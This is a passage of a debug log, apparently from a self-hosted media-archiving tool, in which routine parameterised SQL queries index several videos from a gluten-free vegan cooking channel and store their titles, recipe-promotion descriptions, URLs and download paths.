~U[2022-02-25 00:00:00Z]] 20:31:08.721 [debug] QUERY OK source="sources" db=0.4ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.723 [debug] QUERY OK source="media_items" db=1.9ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-21 00:00:00Z], 1] 20:31:08.726 [debug] QUERY OK source="media_items" db=1.5ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This CREAMY VEGAN MUSHROOM STROGANOFF is an amazing easy vegan dinner idea! It's a personal childhood favourite of mine that my mom used to make for my family all the time. Traditionally made with ground beef and cream of mushroom soup (at least that’s how I remember it!), this recipe has been veganized with lots of tender, meaty mushrooms, creamy coconut milk, and gluten-free pasta.\n\nWith only 8 ingredients and minimal prep-work involved, this hug in a bowl comes together in just 25 minutes. Quick cozy comfort? That sounds nice.\nRECIPE BLOG: https://steamyvegan.com/creamy-vegan-...\n\nLooking for more cozy comfort recipes? Definitely check these out! ⬇️\nBUTTER CHICKPEAS: \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\nFAJIT PASTA: \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nLOADED LAZY NOODLE BOWLS: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0LUNCH\u00A0RECIPES\u00A0FOR\u00A0BEGINNERS\u00A0🌱\u00A0W...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Brooks - Boop Boop - https://thmatc.co/?l=19562E49\nMusic by Chinsaku - This World - https://thmatc.co/?l=D0B90A25\nMusic by HONÜ - Kaloli - https://thmatc.co/?l=27419010", "How to make CREAMY VEGAN MUSHROOM STROGANOFF | Easy vegan dinner idea! What gluten-free vegans eat 🌱", "e831f8b2-fa0b-4a60-a4b8-49734d10799d", 1, [], false, "jmeylkGlT4o", "https://www.youtube.com/watch?v=jmeylkGlT4o", 372, "/downloads/downloads/alec/Steamy Vegan/2022-02-21 How to make CREAMY VEGAN MUSHROOM STROGANOFF | Easy vegan dinner idea! What gluten-free vegans eat 🌱/How to make CREAMY VEGAN MUSHROOM STROGANOFF | Easy vegan dinner idea! What gluten-free vegans eat 🌱 [jmeylkGlT4o].NA", false, false, false, 1, ~U[2022-02-21 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This CREAMY VEGAN MUSHROOM STROGANOFF is an amazing easy vegan dinner idea! It's a personal childhood favourite of mine that my mom used to make for my family all the time. Traditionally made with ground beef and cream of mushroom soup (at least that’s how I remember it!), this recipe has been veganized with lots of tender, meaty mushrooms, creamy coconut milk, and gluten-free pasta.\n\nWith only 8 ingredients and minimal prep-work involved, this hug in a bowl comes together in just 25 minutes. Quick cozy comfort? That sounds nice.\nRECIPE BLOG: https://steamyvegan.com/creamy-vegan-...\n\nLooking for more cozy comfort recipes? Definitely check these out! ⬇️\nBUTTER CHICKPEAS: \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\nFAJIT PASTA: \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nLOADED LAZY NOODLE BOWLS: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0LUNCH\u00A0RECIPES\u00A0FOR\u00A0BEGINNERS\u00A0🌱\u00A0W...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Brooks - Boop Boop - https://thmatc.co/?l=19562E49\nMusic by Chinsaku - This World - https://thmatc.co/?l=D0B90A25\nMusic by HONÜ - Kaloli - https://thmatc.co/?l=27419010", "How to make CREAMY VEGAN MUSHROOM STROGANOFF | Easy vegan dinner idea! What gluten-free vegans eat 🌱", 1, nil, false, "jmeylkGlT4o", "https://www.youtube.com/watch?v=jmeylkGlT4o", "/downloads/downloads/alec/Steamy Vegan/2022-02-21 How to make CREAMY VEGAN MUSHROOM STROGANOFF | Easy vegan dinner idea! What gluten-free vegans eat 🌱/How to make CREAMY VEGAN MUSHROOM STROGANOFF | Easy vegan dinner idea! What gluten-free vegans eat 🌱 [jmeylkGlT4o].NA", false, ~U[2022-02-21 00:00:00Z]] 20:31:08.727 [debug] QUERY OK source="sources" db=0.8ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.729 [debug] QUERY OK source="media_items" db=1.9ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-10 00:00:00Z], 1] 20:31:08.730 [debug] QUERY OK source="media_items" db=1.0ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Looking for some easy vegan Valentines recipes? I’ve got TWO easy vegan Valentine’s Day desserts for ya 😘 Let’s make some Dark Chocolate Raspberry Scones and No-Bake Dark Chocolate Fruity Nut Clusters!\n\nFull recipes below:\nDARK CHOCOLATE RASPBERRY SCONES: https://steamyvegan.com/dark-chocolat...\nDARK CHOCOLATE FRUITY NUT CLUSTERS: https://steamyvegan.com/dark-chocolat...\n\n0:00 - Intro\n1:27 - DARK CHOCOLATE RASPBERRY SCONES ❤️\n4:21 - DARK CHOCOLATE FRUITY NUT CLUSTERS ❤️\n\nWant more delicious vegan desserts? These other recipes might interest you!\nCHOCOLATE AVOCADO CREAM PIE: steamyvegan.com/chocolate-avocado-cream-pie/\nWELSH TEA CAKES: steamyvegan.com/welsh-tea-cakes/\n\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\n\nMusic by Mark Generous - That One Morning - https://thmatc.co/?\n\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35\n\nMusic by Mark Generous - Earl Grey - https://thmatc.co/?l=4AD800F9", "VEGAN VALENTINES RECIPES | Easy vegan Valentine’s Day desserts! ❤️ Gluten-free!", "70a8a30b-68a9-4726-9f9d-73a6c9794cd7", 1, [], false, "Vz0RjvXVJf4", "https://www.youtube.com/watch?v=Vz0RjvXVJf4", 373, "/downloads/downloads/alec/Steamy Vegan/2022-02-10 VEGAN VALENTINES RECIPES | Easy vegan Valentine’s Day desserts! ❤️ Gluten-free!/VEGAN VALENTINES RECIPES | Easy vegan Valentine’s Day desserts! ❤️ Gluten-free! [Vz0RjvXVJf4].NA", false, false, false, 1, ~U[2022-02-10 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Looking for some easy vegan Valentines recipes? I’ve got TWO easy vegan Valentine’s Day desserts for ya 😘 Let’s make some Dark Chocolate Raspberry Scones and No-Bake Dark Chocolate Fruity Nut Clusters!\n\nFull recipes below:\nDARK CHOCOLATE RASPBERRY SCONES: https://steamyvegan.com/dark-chocolat...\nDARK CHOCOLATE FRUITY NUT CLUSTERS: https://steamyvegan.com/dark-chocolat...\n\n0:00 - Intro\n1:27 - DARK CHOCOLATE RASPBERRY SCONES ❤️\n4:21 - DARK CHOCOLATE FRUITY NUT CLUSTERS ❤️\n\nWant more delicious vegan desserts? These other recipes might interest you!\nCHOCOLATE AVOCADO CREAM PIE: steamyvegan.com/chocolate-avocado-cream-pie/\nWELSH TEA CAKES: steamyvegan.com/welsh-tea-cakes/\n\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\n\nMusic by Mark Generous - That One Morning - https://thmatc.co/?\n\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35\n\nMusic by Mark Generous - Earl Grey - https://thmatc.co/?l=4AD800F9", "VEGAN VALENTINES RECIPES | Easy vegan Valentine’s Day desserts! ❤️ Gluten-free!", 1, nil, false, "Vz0RjvXVJf4", "https://www.youtube.com/watch?v=Vz0RjvXVJf4", "/downloads/downloads/alec/Steamy Vegan/2022-02-10 VEGAN VALENTINES RECIPES | Easy vegan Valentine’s Day desserts! ❤️ Gluten-free!/VEGAN VALENTINES RECIPES | Easy vegan Valentine’s Day desserts! ❤️ Gluten-free! [Vz0RjvXVJf4].NA", false, ~U[2022-02-10 00:00:00Z]] 20:31:08.731 [debug] QUERY OK source="sources" db=0.4ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.733 [debug] QUERY OK source="media_items" db=1.7ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-05 00:00:00Z], 1] 20:31:08.734 [debug] QUERY OK source="media_items" db=1.2ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let me show you how to make 3 EASY VEGAN LUNCH RECIPES for beginners! These gluten-free vegan meals are healthy, yummy and simple to make yet SO full of flavour and variety! I hope you enjoy this video as much as I did making it for you 😉 In this video we'll make:\nZESTY BLACK BEAN MASH | https://steamyvegan.com/zesty-black-b...\nASIAN-INSPIRED TOFU SALAD ROLLS | https://steamyvegan.com/asian-inspire...\nLOADED LAZY NOODLE BOWLS | https://steamyvegan.com/loaded-lazy-n...\n\n\nOTHER RECIPES I MENTIONED IN THIS VIDEO:\nVEGAN PESTO: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0LUNCH\u00A0RECIPES!\u00A0Basil\u00A0Pesto\u00A0&\u00A0Qu...\u00A0\u00A0\nSCRAPPY VEGGIE BROTH: \u00A0\u00A0\u00A0•\u00A0LAZY\u00A0SCRAPPY\u00A0VEGGIE\u00A0BROTH!\u00A0VEGAN\u00A0+\u00A0GLUTEN\u00A0...\u00A0\u00A0\n\nTIMESTAMPS:\n0:00:00 - Intro\n1:05 - Zesty Black Bean Mash\n2:50 - Asian-Inspired Tofu Salad Rolls with Lemon Tahini Dipping Sauce\n5:44 - Loaded Lazy Noodle Bowls\n\n\nStill hungry for more lunch recipes? Check these out!\n20 MIN HIGH PROTEIN FAJITA PASTA: \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nTOFU EGG SALAD: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0TOFU\u00A0EGG\u00A0SALAD\u00A0(that\u00A0actually\u00A0tastes...\u00A0\u00A0\nBUTTERNUT BASIL TOMATO SOUP: \u00A0\u00A0\u00A0•\u00A0Dreamy\u00A0+\u00A0creamy\u00A0BUTTERNUT\u00A0BASIL\u00A0TOMATO\u00A0SOU...\u00A0\u00A0\n\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8\nMusic by Mark Generous - That One Morning - https://thmatc.co/?\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35", "EASY VEGAN LUNCH RECIPES FOR BEGINNERS 🌱 What gluten-free vegans eat! Healthy, yummy, simple meals", "675faeaf-0ba7-433f-8c58-25115ab09e2d", 1, [], false, "-q-Al8ffyEg", "https://www.youtube.com/watch?v=-q-Al8ffyEg", 374, "/downloads/downloads/alec/Steamy Vegan/2022-02-05 EASY VEGAN LUNCH RECIPES FOR BEGINNERS 🌱 What gluten-free vegans eat! Healthy, yummy, simple meals/EASY VEGAN LUNCH RECIPES FOR BEGINNERS 🌱 What gluten-free vegans eat! Healthy, yummy, simple meals [-q-Al8ffyEg].NA", false, false, false, 1, ~U[2022-02-05 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Let me show you how to make 3 EASY VEGAN LUNCH RECIPES for beginners! These gluten-free vegan meals are healthy, yummy and simple to make yet SO full of flavour and variety! I hope you enjoy this video as much as I did making it for you 😉 In this video we'll make:\nZESTY BLACK BEAN MASH | https://steamyvegan.com/zesty-black-b...\nASIAN-INSPIRED TOFU SALAD ROLLS | https://steamyvegan.com/asian-inspire...\nLOADED LAZY NOODLE BOWLS | https://steamyvegan.com/loaded-lazy-n...\n\n\nOTHER RECIPES I MENTIONED IN THIS VIDEO:\nVEGAN PESTO: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0LUNCH\u00A0RECIPES!\u00A0Basil\u00A0Pesto\u00A0&\u00A0Qu...\u00A0\u00A0\nSCRAPPY VEGGIE BROTH: \u00A0\u00A0\u00A0•\u00A0LAZY\u00A0SCRAPPY\u00A0VEGGIE\u00A0BROTH!\u00A0VEGAN\u00A0+\u00A0GLUTEN\u00A0...\u00A0\u00A0\n\nTIMESTAMPS:\n0:00:00 - Intro\n1:05 - Zesty Black Bean Mash\n2:50 - Asian-Inspired Tofu Salad Rolls with Lemon Tahini Dipping Sauce\n5:44 - Loaded Lazy Noodle Bowls\n\n\nStill hungry for more lunch recipes? Check these out!\n20 MIN HIGH PROTEIN FAJITA PASTA: \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nTOFU EGG SALAD: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0TOFU\u00A0EGG\u00A0SALAD\u00A0(that\u00A0actually\u00A0tastes...\u00A0\u00A0\nBUTTERNUT BASIL TOMATO SOUP: \u00A0\u00A0\u00A0•\u00A0Dreamy\u00A0+\u00A0creamy\u00A0BUTTERNUT\u00A0BASIL\u00A0TOMATO\u00A0SOU...\u00A0\u00A0\n\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8\nMusic by Mark Generous - That One Morning - https://thmatc.co/?\nMusic by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35", "EASY VEGAN LUNCH RECIPES FOR BEGINNERS 🌱 What gluten-free vegans eat! Healthy, yummy, simple meals", 1, nil, false, "-q-Al8ffyEg", "https://www.youtube.com/watch?v=-q-Al8ffyEg", "/downloads/downloads/alec/Steamy Vegan/2022-02-05 EASY VEGAN LUNCH RECIPES FOR BEGINNERS 🌱 What gluten-free vegans eat! Healthy, yummy, simple meals/EASY VEGAN LUNCH RECIPES FOR BEGINNERS 🌱 What gluten-free vegans eat! Healthy, yummy, simple meals [-q-Al8ffyEg].NA", false, ~U[2022-02-05 00:00:00Z]] 20:31:08.735 [debug] QUERY OK source="sources" db=0.4ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.737 [debug] QUERY OK source="media_items" db=1.6ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-01-28 00:00:00Z], 1] 20:31:08.739 [debug] QUERY OK source="media_items" db=1.7ms idle=5.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Have you ever wondered what gluten-free vegans eat on the regular? In this video I'll show you 13 delicious, easy and affordable meals that any beginner gluten-free vegan can master! \n\nWhen people who don’t know me that well hear that I’m vegan AND gluten-free, their first question is pretty much always ‘Oh my gosh, what can you even eat, then?’ Or a comment like, ‘wow, that must be so hard’. The truth is, they could not be more wrong!\n\nBeing plant-based is a choice, however for many people, eating gluten-free may their ONLY choice due to an intolerance or even a debilitating disease like Celiac.\n\nI’ve been gluten-free for almost 10 years and plant-based for about 4, and as someone who LOVES to eat and cook, I’m living proof that the options for delicious, affordable and easy meals are literally endless. Plus, with the plant-based and gluten-free markets constantly coming up with new alternatives to your favourite animal and gluten-based products, there’s something for almost anything you’d normally enjoy.\n\nPersonally, I try hard to avoid the processed vegan and gluten-free alternatives and rather try creating my own versions using whole plant foods, but I get that not everyone has the time or patience (including myself at times) so I try to keep that in mind when creating recipes to share with y’all.\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTIMESTAMPS & LINKS TO MY OTHER RECIPES SHOWN IN THIS VIDEO\n0:00:00 - Intro\n2:16- BREAKFAST RECIPES\n2:18 - Big Green Smoothie \n2:55 - Hippie Quinoa Bowl \n3:53 - Toasts With the Most\n4:37 - Quinoa Oat Breakfast Bars \n5:10 - Banana Blender Pancakes \n5:49 - LUNCH RECIPES\n5:50 - Tofu Egg Salad \n6:43 - Basil Pesto\n7:23 - Quinoa Bean Salad \n7:48 - Fajita Pasta \n8:26 - DINNER RECIPES\n8:29 - Butter Chickpeas\n9:03 - Roasted Carrot, Beet and Brussels Salad \n9:49 - Buttery Sage Fettuccini \n10:21 Baked Feta Pasta \n10:53 - Outro\n\nBig Green Smoothie, Hippie Quinoa Bowl, Toasts With the Most: \u00A0\u00A0\u00A0•\u00A0QUICK\u00A0VEGAN\u00A0BREAKFASTS\u00A0|\u00A0vegan,\u00A0gluten-fre...\u00A0\u00A0\nQuinoa Oat Breakfast Bars | \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0BREAKFAST\u00A0IDEAS\u00A0|\u00A0Quinoa\u00A0Oat\u00A0Br...\u00A0\u00A0\nBanana Blender Pancakes | \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANCAKES!\u00A0How\u00A0to\u00A0make\u00A0the\u00A0best\u00A0vegan...\u00A0\u00A0\nTofu Egg Salad | \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0TOFU\u00A0EGG\u00A0SALAD\u00A0(that\u00A0actually\u00A0tastes...\u00A0\u00A0\nBasil Pesto and Quinoa Bean Salad | \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0LUNCH\u00A0RECIPES!\u00A0Basil\u00A0Pesto\u00A0&\u00A0Qu...\u00A0\u00A0\nFajita Pasta | \u00A0\u00A0\u00A0•\u00A0High\u00A0Protein\u00A0Vegan\u00A0Dinner\u00A0Idea\u00A0//\u00A0VEGAN\u00A0FA...\u00A0\u00A0\nButter Chickpeas | \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\nRoasted Carrot, Beet and Brussels Salad | \u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0\nButtery Sage Fettuccini | \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0PASTA\u00A0DINNER\u00A0|\u00A0Sage\u00A0Fettuccini\u00A0...\u00A0\u00A0\nBaked Feta Pasta | \u00A0\u00A0\u00A0•\u00A0That\u00A0viral\u00A0TikTok\u00A0BAKED\u00A0FETA\u00A0TOMATO\u00A0PASTA,...\u00A0\u00A0\n\n \n\nDID YOU FIND VALUE IN THE VIDEO? Please LIKE and SUBSCRIBE to my channel!\n\nAre you new to the GLUTEN-FREE VEGAN game? If so, you might want to check out my latest videos to help you in your journey!\nVEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nGLUTEN-FREE PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0TOP\u00A010\u00A0GLUTEN-FREE\u00A0PANTRY\u00A0ESSENTIALS\u00A0\u00A0(veg...\u00A0\u00A0\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy...\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nPINTEREST: https://www.pinterest.ca/SteamyVeganK...\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by Chinsaku - Esta Luna - https://thmatc.co/?l=F3D01724\nMusic by Chinsaku - This World - https://thmatc.co/?l=D0B90A25\nMusic by Chinsaku - B l i s s - https://thmatc.co/?l=2E1DABC4\nMusic by Chinsaku - Spirit Of The Wind - https://thmatc.co/?l" <> ..., "What do gluten-free vegans eat? | 13 delicious, easy and 